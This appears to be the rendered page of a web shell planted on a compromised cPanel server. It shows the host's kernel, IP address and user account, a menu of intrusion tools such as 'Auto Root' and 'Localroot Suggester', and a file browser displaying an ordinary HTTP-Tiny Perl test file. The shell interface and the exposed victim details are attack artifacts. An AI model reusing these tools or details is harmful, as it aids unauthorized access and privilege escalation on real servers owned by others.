Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
HTTP-Tiny /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
cases
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
000_load.t
217
B
-r--r--r--
2014-12-27 11:48
001_api.t
705
B
-r--r--r--
2014-12-27 11:48
002_croakage.t
925
B
-r--r--r--
2014-12-27 11:49
003_agent.t
1.24
KB
-r--r--r--
2014-12-27 11:48
010_url.t
1.66
KB
-r--r--r--
2014-12-27 11:48
020_headers.t
1.47
KB
-r--r--r--
2014-12-27 11:49
030_response.t
1021
B
-r--r--r--
2014-12-27 11:48
040_content.t
939
B
-r--r--r--
2014-12-27 11:48
050_chunked_body.t
1.4
KB
-r--r--r--
2014-12-27 11:48
060_http_date.t
759
B
-r--r--r--
2014-12-27 11:48
070_cookie_jar.t
1.06
KB
-r--r--r--
2014-12-27 11:48
100_get.t
3
KB
-r--r--r--
2014-12-27 11:49
101_head.t
1.9
KB
-r--r--r--
2014-12-27 11:49
102_put.t
1.9
KB
-r--r--r--
2014-12-27 11:49
103_delete.t
1.9
KB
-r--r--r--
2014-12-27 11:49
104_post.t
1.9
KB
-r--r--r--
2014-12-27 11:49
110_mirror.t
2.44
KB
-r--r--r--
2014-12-27 11:49
130_redirect.t
2.07
KB
-r--r--r--
2014-12-27 11:49
140_proxy.t
706
B
-r--r--r--
2014-12-27 11:49
141_no_proxy.t
1.71
KB
-r--r--r--
2014-12-27 11:48
150_post_form.t
2.1
KB
-r--r--r--
2014-12-27 11:49
160_cookies.t
2.44
KB
-r--r--r--
2014-12-27 11:49
161_basic_auth.t
2.06
KB
-r--r--r--
2014-12-27 11:49
162_proxy_auth.t
2.07
KB
-r--r--r--
2014-12-27 11:49
170_keepalive.t
2.15
KB
-r--r--r--
2014-12-27 11:49
BrokenCookieJar.pm
263
B
-r--r--r--
2014-12-27 11:48
SimpleCookieJar.pm
470
B
-r--r--r--
2014-12-27 11:48
Util.pm
3.96
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!perl use strict; use warnings; use File::Basename; use Test::More 0.88; use t::Util qw[tmpfile rewind slurp monkey_patch dir_list parse_case hashify connect_args set_socket_source sort_headers $CRLF $LF]; use HTTP::Tiny; BEGIN { monkey_patch() } for my $file ( dir_list("t/cases", qr/^get/ ) ) { my $label = basename($file); my $data = do { local (@ARGV,$/) = $file; <> }; my ($params, $expect_req, $give_res) = split /--+\n/, $data; my $case = parse_case($params); my $url = $case->{url}[0]; my %headers = hashify( $case->{headers} ); my %new_args = hashify( $case->{new_args} ); my %options; $options{headers} = \%headers if %headers; if ( $case->{data_cb} ) { $main::data = ''; $options{data_callback} = eval join "\n", @{$case->{data_cb}}; die unless ref( $options{data_callback} ) eq 'CODE'; } my $version = HTTP::Tiny->VERSION || 0; my $agent = $new_args{agent} || "HTTP-Tiny/$version"; # cleanup source data $expect_req =~ s{HTTP-Tiny/VERSION}{$agent}; s{\n}{$CRLF}g for ($expect_req, $give_res); # setup mocking and test my $res_fh = tmpfile($give_res); my $req_fh = tmpfile(); my $http = HTTP::Tiny->new(keep_alive => 0, %new_args); set_socket_source($req_fh, $res_fh); (my $url_basename = $url) =~ s{.*/}{}; my @call_args = %options ? ($url, \%options) : ($url); my $response = $http->get(@call_args); my ($got_host, $got_port) = connect_args(); my ($exp_host, $exp_port) = ( ($new_args{proxy} || $url ) =~ m{^http://([^:/]+?):?(\d*)/}g ); $exp_host ||= 'localhost'; $exp_port ||= 80; my $got_req = slurp($req_fh); is ($got_host, $exp_host, "$label host $exp_host"); is ($got_port, $exp_port, "$label port $exp_port"); is( sort_headers($got_req), sort_headers($expect_req), "$label request data"); my ($rc) = $give_res =~ m{\S+\s+(\d+)}g; # maybe override $rc = $case->{expected_rc}[0] if defined $case->{expected_rc}; is( $response->{status}, $rc, "$label response code $rc" ) or diag $response->{content}; if ( substr($rc,0,1) eq '2' ) { ok( $response->{success}, "$label success flag true" ); } else { ok( ! $response->{success}, "$label success flag false" ); } is ( $response->{url}, $url, "$label response URL" ); if (defined $case->{expected_headers}) { my %expected = hashify( $case->{expected_headers} ); is_deeply($response->{headers}, \%expected, "$label expected headers"); } my $check_expected = $case->{expected_like} ? sub { my ($text, $msg) = @_; like( $text, "/".$case->{expected_like}[0]."/", $msg ); } : sub { my ($text, $msg) = @_; my $exp_content = $case->{expected} ? join("$CRLF", @{$case->{expected}}, '') : ''; is ( $text, $exp_content, $msg ); } ; if ( $options{data_callback} ) { $check_expected->( $main::data, "$label cb got content" ); is ( $response->{content}, '', "$label resp content empty" ); } else { $check_expected->( $response->{content}, "$label content" ); } } done_testing;